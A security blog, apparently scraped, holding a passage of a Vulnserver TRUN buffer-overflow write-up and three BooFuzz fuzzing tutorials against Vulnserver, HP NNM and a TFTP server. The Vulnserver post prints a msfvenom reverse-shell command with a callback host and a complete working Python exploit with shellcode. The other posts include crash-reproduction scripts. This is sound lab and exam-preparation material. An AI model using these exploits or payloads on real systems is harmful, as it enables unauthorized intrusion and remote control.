Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A...k5Gk

We remove the 5000 A’s and we put this string instead.

The application crashes again, but this time we are overwritten EIP with other values:

Let’s use msf-pattern-offset to identify where are this values in our previous string:

root@kali:~/Documents/Certifications/OSCE/Vulnserver/1_TRUN# msf-pattern_offset -l 5000 -q "386F4337"
[*] Exact match at offset 2003

Let’s modify our script, to verify that we didn’t make any mistake. Let’s overwrite EIP with 4 B’s.

crash = "A" * 2003 + "B" * 4 + "C" * 2903

And we got 4 B’s in EIP:

Another important thing that we can see, is that our C string it’s located in ESP. So if we overwrite EIP with a JMP ESP or CALL ESP instruction we should be able to jump to that memory section.

Other option is to jump to EAX, so to make it more interesting, let’s go that way. πŸ™‚

I’ve found 2 JMP EAX in 2 places, the first one is in the DLL of the program essfunc.dll and it doesn’t contain null bytes

#62501084   FFD0             CALL EAX

The second one is located in vulnserver.exe but it contains a null byte.

#00402D7B  \. FFE0           JMP EAX

I’m doing this as an exam preparation, so I choose the difficult way again!


Trick 1. Partial EIP overwrite

Let’s try a partial overwrite of EIP, so we erase the last byte of EIP, and the last part of our payload:

crash = "\xCC" * 2001 + "\x7B\x2D\x40" 

buffer="TRUN A/.:A/"
buffer+= crash

We launch the script, we put a breakpoint in the JMP EAX, and we reach the breakpoint so it works:


Trick 2. Access violation issue

When we let our jump run, we are going to jump to EAX, but a few instructions later we are going to find the following problem:

The following instruction is causing an access violation, it may be related with the value of EDI that is zero.

017FF204   202F             AND BYTE PTR DS:[EDI],CH

The instruction that causes the crash is \x20\x2F that in ascii is: ” /”

We have control of it. Let’s try to modify it for: ” A/”

Now it’s crashing again, but in the next instruction. I’m going to do a small modification to see if the crashes stops:

crash = "\xCC" * 2001 + "\x7B\x2D\x40" 

buffer="TRUN A/.:A/"
buffer+= crash

Finally with our partial EIP overwrite we reached the “\xCC” shellcode zone.


Now it’s the moment to generate a reverse shell shellcode.

I generate a standard msfvenom reverse shell with 00 as a null byte bad character:

root@kali:~/Documents/Certifications/OSCE/Vulnserver/1_TRUN# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.88 LPORT=443 -f py -b "\x00" | sed 's/buf/shellcode/g'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of py file: 1684 bytes
shellcode =  ""
shellcode += "\xbf\xa9\xa1\x85\x71\xdb\xdb\xd9\x74\x24\xf4\x58\x29"
shellcode += "\xc9\xb1\x52\x31\x78\x12\x83\xe8\xfc\x03\xd1\xaf\x67"
shellcode += "\x84\xdd\x58\xe5\x67\x1d\x99\x8a\xee\xf8\xa8\x8a\x95"
shellcode += "\x89\x9b\x3a\xdd\xdf\x17\xb0\xb3\xcb\xac\xb4\x1b\xfc"
shellcode += "\x05\x72\x7a\x33\x95\x2f\xbe\x52\x15\x32\x93\xb4\x24"
shellcode += "\xfd\xe6\xb5\x61\xe0\x0b\xe7\x3a\x6e\xb9\x17\x4e\x3a"
shellcode += "\x02\x9c\x1c\xaa\x02\x41\xd4\xcd\x23\xd4\x6e\x94\xe3"
shellcode += "\xd7\xa3\xac\xad\xcf\xa0\x89\x64\x64\x12\x65\x77\xac"
shellcode += "\x6a\x86\xd4\x91\x42\x75\x24\xd6\x65\x66\x53\x2e\x96"
shellcode += "\x1b\x64\xf5\xe4\xc7\xe1\xed\x4f\x83\x52\xc9\x6e\x40"
shellcode += "\x04\x9a\x7d\x2d\x42\xc4\x61\xb0\x87\x7f\x9d\x39\x26"
shellcode += "\xaf\x17\x79\x0d\x6b\x73\xd9\x2c\x2a\xd9\x8c\x51\x2c"
shellcode += "\x82\x71\xf4\x27\x2f\x65\x85\x6a\x38\x4a\xa4\x94\xb8"
shellcode += "\xc4\xbf\xe7\x8a\x4b\x14\x6f\xa7\x04\xb2\x68\xc8\x3e"
shellcode += "\x02\xe6\x37\xc1\x73\x2f\xfc\x95\x23\x47\xd5\x95\xaf"
shellcode += "\x97\xda\x43\x7f\xc7\x74\x3c\xc0\xb7\x34\xec\xa8\xdd"
shellcode += "\xba\xd3\xc9\xde\x10\x7c\x63\x25\xf3\x43\xdc\x24\x5b"
shellcode += "\x2c\x1f\x26\x5a\x17\x96\xc0\x36\x77\xff\x5b\xaf\xee"
shellcode += "\x5a\x17\x4e\xee\x70\x52\x50\x64\x77\xa3\x1f\x8d\xf2"
shellcode += "\xb7\xc8\x7d\x49\xe5\x5f\x81\x67\x81\x3c\x10\xec\x51"
shellcode += "\x4a\x09\xbb\x06\x1b\xff\xb2\xc2\xb1\xa6\x6c\xf0\x4b"
shellcode += "\x3e\x56\xb0\x97\x83\x59\x39\x55\xbf\x7d\x29\xa3\x40"
shellcode += "\x3a\x1d\x7b\x17\x94\xcb\x3d\xc1\x56\xa5\x97\xbe\x30"
shellcode += "\x21\x61\x8d\x82\x37\x6e\xd8\x74\xd7\xdf\xb5\xc0\xe8"
shellcode += "\xd0\x51\xc5\x91\x0c\xc2\x2a\x48\x95\xf2\x60\xd0\xbc"
shellcode += "\x9a\x2c\x81\xfc\xc6\xce\x7c\xc2\xfe\x4c\x74\xbb\x04"
shellcode += "\x4c\xfd\xbe\x41\xca\xee\xb2\xda\xbf\x10\x60\xda\x95"

Trick 3. EIP/ESP too close

After adding the shellcode to the script I thought that I was going to receive my reverse shell but wasn’t working. I made this screenshot of the registers before the first line of our reverse shell is executed:

In the image above you can see that ESP value is 017EF9D4 and EIP is 017EF219. That means that there is 7BB of difference between them. EIP can be overwritten and the exploit may not work.

To fix this I want to do a move of another register to ESP. I choose ECX because it’s in a middle memory address and also it’s fair away enough of EIP.

So before our shellcode I do:

MOV ESP, ECX
“\x8B\xE1”

I add this small fix to the final python script:

#!/usr/bin/python
# Author: Xavi Bel
# Website: xavibel.com
# Date: 24/06/2019
# Vulnserver TRUN - new method
import socket
import os
import sys

# Reverse TCP shell to port 443
# Payload size: 351 bytes
shellcode =  ""
shellcode += "\xdb\xc5\xbf\xfb\xf5\x89\x96\xd9\x74\x24\xf4\x5b\x2b"
shellcode += "\xc9\xb1\x52\x31\x7b\x17\x83\xc3\x04\x03\x80\xe6\x6b"
shellcode += "\x63\x8a\xe1\xee\x8c\x72\xf2\x8e\x05\x97\xc3\x8e\x72"
shellcode += "\xdc\x74\x3f\xf0\xb0\x78\xb4\x54\x20\x0a\xb8\x70\x47"
shellcode += "\xbb\x77\xa7\x66\x3c\x2b\x9b\xe9\xbe\x36\xc8\xc9\xff"
shellcode += "\xf8\x1d\x08\xc7\xe5\xec\x58\x90\x62\x42\x4c\x95\x3f"
shellcode += "\x5f\xe7\xe5\xae\xe7\x14\xbd\xd1\xc6\x8b\xb5\x8b\xc8"
shellcode += "\x2a\x19\xa0\x40\x34\x7e\x8d\x1b\xcf\xb4\x79\x9a\x19"
shellcode += "\x85\x82\x31\x64\x29\x71\x4b\xa1\x8e\x6a\x3e\xdb\xec"
shellcode += "\x17\x39\x18\x8e\xc3\xcc\xba\x28\x87\x77\x66\xc8\x44"
shellcode += "\xe1\xed\xc6\x21\x65\xa9\xca\xb4\xaa\xc2\xf7\x3d\x4d"
shellcode += "\x04\x7e\x05\x6a\x80\xda\xdd\x13\x91\x86\xb0\x2c\xc1"
shellcode += "\x68\x6c\x89\x8a\x85\x79\xa0\xd1\xc1\x4e\x89\xe9\x11"
shellcode += "\xd9\x9a\x9a\x23\x46\x31\x34\x08\x0f\x9f\xc3\x6f\x3a"
shellcode += "\x67\x5b\x8e\xc5\x98\x72\x55\x91\xc8\xec\x7c\x9a\x82"
shellcode += "\xec\x81\x4f\x04\xbc\x2d\x20\xe5\x6c\x8e\x90\x8d\x66"
shellcode += "\x01\xce\xae\x89\xcb\x67\x44\x70\x9c\x47\x31\x7b\x04"
shellcode += "\x20\x40\x7b\xb5\x0b\xcd\x9d\xdf\x7b\x98\x36\x48\xe5"
shellcode += "\x81\xcc\xe9\xea\x1f\xa9\x2a\x60\xac\x4e\xe4\x81\xd9"
shellcode += "\x5c\x91\x61\x94\x3e\x34\x7d\x02\x56\xda\xec\xc9\xa6"
shellcode += "\x95\x0c\x46\xf1\xf2\xe3\x9f\x97\xee\x5a\x36\x85\xf2"
shellcode += "\x3b\x71\x0d\x29\xf8\x7c\x8c\xbc\x44\x5b\x9e\x78\x44"
shellcode += "\xe7\xca\xd4\x13\xb1\xa4\x92\xcd\x73\x1e\x4d\xa1\xdd"
shellcode += "\xf6\x08\x89\xdd\x80\x14\xc4\xab\x6c\xa4\xb1\xed\x93"
shellcode += "\x09\x56\xfa\xec\x77\xc6\x05\x27\x3c\xf6\x4f\x65\x15"
shellcode += "\x9f\x09\xfc\x27\xc2\xa9\x2b\x6b\xfb\x29\xd9\x14\xf8"
shellcode += "\x32\xa8\x11\x44\xf5\x41\x68\xd5\x90\x65\xdf\xd6\xb0"


# Notes:
# TRUN A/.:A/   - 2 A's added   - Avoid Access Violation Issue
# 8BE1          - MOV ESP,ECX   - Fix EIP/ESP issue
# 00402D7B      - JMP EAX       - EIP overwrite

crash = "\x8B\xE1" + "\x90" * 48 + shellcode + "\x90" * 1600 + "\x7B\x2D\x40" 

buffer="TRUN A/.:A/"
buffer+= crash
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

https://github.com/socket8088/Vulnserver/blob/master/TRUN/EXP-TRUN.py

Now our exploit it’s completed, we run it and we receive our shell πŸ™‚

Posted in Exploiting | Tagged , , , , , , , , , | 3 Comments

Fuzzing – Finding bugs using BooFuzz (3/3)

For this last blog post of the Fuzzing series I chose to fuzz Vulnserver.

Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. The program is intended to be used as a learning tool to teach about the process of software exploitation, as well as a good victim program for testing new exploitation techniques and shellcode.

When you run the Vulnserver binaty it opens a service in the port 9999. And when you connect to it using netcat and you type HELP you are going to see the following menu:

Vulnserver uses a custom protocol, so first we need to understand what we need to send. We want to connect to the port 9999 and send the following string:

TRUN AAAA...A

Before starting the fuzzing, we should attach the process to our favorite debugger, to monitor the application behavior:

This is an example of a request and a server response

TRUN A
TRUN COMPLETE

So to fuzz this function it’s really easy:

def main():

    session = Session(
	sleep_time=1,
        target=Target(
            connection=SocketConnection("192.168.1.99", 9999, proto='tcp')
        ),
    )

    # Setup
    s_initialize(name="Request")
    with s_block("Host-Line"):
        s_static("TRUN", name='command name')
        s_delim(" ")
        s_string("FUZZ",  name='trun variable content')
        s_delim("\r\n")

    # Fuzzing
    session.connect(s_get("Request"), callback=get_banner)
    session.fuzz()

But the interesting thing that we are going to use here, is to control when the application crashes. When it crashes we should stop fuzzing and see what request caused it. I read this originally from this post, so thank you mate πŸ™‚

It consists in setup a callback. After each fuzzing request the script will call our callback function, and this function is going to check if the application crashed or not.

session.connect(s_get("Request"), callback=get_banner)

So we look for the Vulnserver banner service, if we can’t retrieve it, it means that the application has crashed:

def get_banner(target, my_logger, session, *args, **kwargs):
    banner_template = b"Welcome to Vulnerable Server! Enter HELP for help."
    try:
        banner = target.recv(10000)
    except:
        print("Unable to connect. Target is down. Exiting.")
        exit(1)

    my_logger.log_check('Receiving banner..')
    if banner_template in banner:
        my_logger.log_pass('banner received')
    else:
        my_logger.log_fail('No banner received')
        print("No banner received, exiting..")
        exit(1)

This is the full script:

#!/usr/bin/env python
# Author: Xavi Bel
# Date: 22/06/2019
# Purpose: 
#	Fuzzing Vulnserver
#	TRUN

from boofuzz import *
import time

def get_banner(target, my_logger, session, *args, **kwargs):
    banner_template = b"Welcome to Vulnerable Server! Enter HELP for help."
    try:
        banner = target.recv(10000)
    except:
        print("Unable to connect. Target is down. Exiting.")
        exit(1)

    my_logger.log_check('Receiving banner..')
    if banner_template in banner:
        my_logger.log_pass('banner received')
    else:
        my_logger.log_fail('No banner received')
        print("No banner received, exiting..")
        exit(1)


def main():

    session = Session(
	sleep_time=1,
        target=Target(
            connection=SocketConnection("192.168.1.99", 9999, proto='tcp')
        ),
    )

    # Setup
    s_initialize(name="Request")
    with s_block("Host-Line"):
        s_static("TRUN", name='command name')
        s_delim(" ")
        s_string("FUZZ",  name='trun variable content')
        s_delim("\r\n")

    # Fuzzing
    session.connect(s_get("Request"), callback=get_banner)
    session.fuzz()


if __name__ == "__main__":
	main()

https://github.com/socket8088/Fuzzing/blob/master/BF-TRUN.py

We start fuzzing it, and after some requests, we see that our crash control method worked properly:

And we now that this is the request that crashed it:

With this control method, we have all the information that we need to start writing a python script:

#!/usr/bin/python
import socket
import os
import sys

crash = "A" * 5000

buffer="TRUN /.:/"
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

At this point we are ready to work on that script and develop and exploit that make us control the execution flow of the program.

And that’s all for the Fuzzing series. The following posts of the blog are going to be write-ups of Vulnserver. See you soon! πŸ™‚

Posted in Exploiting | Tagged , , , , , , , | Leave a comment

Fuzzing – Finding bugs using BooFuzz (2/3)

As a continuation of these Fuzzing series, we are going to fuzz a second application. This time we are going to look for vulnerabilities in HP NNM application that uses HTTP protocol.

Specifically the ovas process is vulnerable to a Buffer Overflow vulnerability.

The request that we are going to fuzz is the following one:

GET /topology/index.html HTTP/1.1
Host: 192.168.1.99
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

Now that we now what we want to send, let’s start the service to prepare the environment. As always we attach the debugger to the application and we press the play button to accept Morpheus red pill.

So we want to maintain the main structure and fuzz the different variables. To do that I created the following Boofuzz template:

#!/usr/bin/env python
#!/usr/bin/env python
# Author: Xavi Bel
# Webpage: xavibel.com
# Date: 23/06/2019
# BooFuzz HTTP fuzzing template

from boofuzz import *
import time

def main():
    session = Session(
	sleep_time=10,
        target=Target(
            connection=SocketConnection("192.168.1.99", 7510, proto='tcp')
        ),
    )

    s_initialize(name="Request")
    #with s_block("Request-Line"):
    s_static("GET /topology/index.html HTTP/1.1\r\n")

    # Host
    s_static("Host", name='host-string')
    s_delim(":")
    s_delim(" ")
    s_string("192.168.1.99",  name='host-ip-address')
    s_delim("\r\n")

    # Other headers
    s_static("User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0\r\n")
    s_static("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n")
    s_static("Accept-Language: en-US,en;q=0.5\r\n")
    s_static("Accept-Encoding: gzip, deflate\r\n")
    s_static("Connection: keep-alive\r\n")

    s_static("\r\n", "Request-CRLF")

    session.connect(s_get("Request"))

    session.fuzz()


if __name__ == "__main__":
	main()

https://github.com/socket8088/Fuzzing/blob/master/BF-HTTP.py

If we want to fuzz the Host header, for example. We need to set as static what we don’t want to fuzz, and we set as string what we want to be fuzzed.

	s_static("Host", name='host-string')
	s_delim(":")
	s_delim(" ")
	s_string("192.168.1.99",  name='host-ip-address')
	s_delim("\r\n")

If the application crashes there, Boofuzz will say that it crashed while fuzzing “host-ip-address”. We should prepare the same for all the headers that we want to fuzz.

We run the fuzzer and the request number 52 crashes the application.

In that request we are sending different characters, now that we now in what variable is the BOF. Let’s exploit it using a python script:

#!/usr/bin/python
import socket
import os
import sys

crash = "A" * 4000

buffer="GET /topology/homeBaseView HTTP/1.1\r\n"
buffer+="Host: " + crash + "\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
buffer+="Content-Length: 1048580\r\n\r\n"

print "[*] Sending evil HTTP request to NNMz, ph33r"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 7510))
expl.send(buffer)
expl.close()

We reproduce the same crash, and in the debugger we can see this:

We overwrited SEH:

And if we pass exception to program we see that we are overwriting EIP:

And that’s all for this topic, in the last post of the series we are going to fuzz Vulnserver and we are going to use a function to detect when the application crashes.

Posted in Exploiting | Tagged , , , , , , , | Leave a comment

Fuzzing – Finding bugs using BooFuzz (1/3)

Hello everyone, in this blog post I’m going to explain you a couple of basics concepts about fuzzing. Also I’m going to share with you some interesting resources, and finally I’m going to show how to create different Boofuzz templates to identify vulnerabilities in applications.

Fuzzing is the process of automatic testing achieved by sending different inputs to a program and verifying that it can handle them without crashing or having an unexpected behavior.

In the graph below you can see an example of the flow of a fuzzing process.

In the following post, you can find more information about fuzzing, specifically for a tool named AFL, but also a lot of interesting concepts:

http://9livesdata.com/fuzzing-how-to-find-bugs-automagically-using-afl/

Reading the following Defcon paper of Jacob West:

https://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-west.pdf

He summarizes the fuzzing process in these steps:

  • Identify sources of input of a program
  • Permute or generate pseudorandom input
  • Use an oracle to monitor for failures
  • Record the input and state that generate faults

The last blog post that I recommend you is more focused in the Boofuzz tool:

Now that I shared with you some interesting information sources, let’s start using Boofuzz. I’m going to Fuzz 3 different applications that use different protocols.

  • TFTP application that uses FTP protocol
  • HP NNM application that uses HTTP protocol
  • Custom application named Vulnserver that uses a custom protocol

In this blog post I’m not going to cover the full process of exploit development. I’m just going to focus in the detection of the bug using BooFuzz.


Fuzzing TFP server

For this example I’m going to use a FTP server named TFTP Single Port version 1.4. This server version is vulnerable to a Buffer Overflow vulnerability.

We now, that the vulnerability is triggered when the FTP receives a Write request that is similar to this:

"\x00\x02AAAAAA....A\x00netascii\x00"

The 02 is the request to write, if we didn’t know this, we should just fuzz using different values until we identify that this is the vulnerable one, but for this example I prefer to go strict forward.

The first thing is to attach a debugger to the FTP application, then we press play to let the program run.

Now we need to prepare our Boofuzz python script.

First we need to import the necessary libraries:

from boofuzz import *
import time

And this is going to me the main structure of the script:

def main():

[BooFuzz script goes here]

if __name__ == "__main__":
        main()

Then we can prepare the fuzzing part of the code. The first thing is to declare the session and setup the connection:

session = Session(
                sleep_time=10,
                target=Target(
                       connection=SocketConnection("192.168.1.99",69,proto='udp')
                ),
        )

And after that, the fuzzing part:

        s_initialize("write")
        s_static("\x00\x02")
        s_string("filename")
        s_static("\x00")
        s_static("netascii")
        s_static("\x00")

As you can see above, there are two declarations:

  • static: Non fuzzeable
  • string: Fuzzable

And then we start the fuzzing:

        session.connect(s_get('write'))
        session.fuzz()

This is the final script:

#!/usr/bin/env python
# Autor: Xavi Bel
# Website: xavibel.com
# Date: 23/06/2019
# BooFuzz FTP fuzzing template
from boofuzz import *
import time

def main():
        session = Session(
                sleep_time=10,
                target=Target(
                        connection=SocketConnection("192.168.1.99",69,proto='udp')
                ),
        )


        s_initialize("write")
        s_static("\x00\x02")
        s_string("filename")
        s_static("\x00")
        s_static("netascii")
        s_static("\x00")

        session.connect(s_get('write'))
        session.fuzz()

if __name__ == "__main__":
        main()

https://github.com/socket8088/Fuzzing/blob/master/BF-FTP.py

Let’s run Boofuzz and let’s see what happens:

python BF-FTP.py

And we see that the request number 2 crashes the program:

So 5000 A’s caused the crash.

If we look again to our Windows VM, we can see the crash in the debugger:

If we look at the Exception Handler we see this:

And if we pass exception to program we see that we are overwritting EIP:

To replicate the crash using a python program, we should use a code similar to this:

#!/usr/bin/python
import socket
import sys
host = '192.168.1.99'
port = 69
try:
	s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
	print "socket() failed"
	sys.exit(1)

filename = "A" * 5000
mode = "netascii"
muha = "\x00\x02" + filename+ "\0" + mode+ "\0"
s.sendto(muha, (host, port))

And that’s all for the first example of fuzzing with Boofuzz, in the next post I’m going to explain how to fuzz a web application, but for make it more interesting, we are not going to know the injection point.

Posted in Exploiting | Tagged , , , , , , , | Leave a comment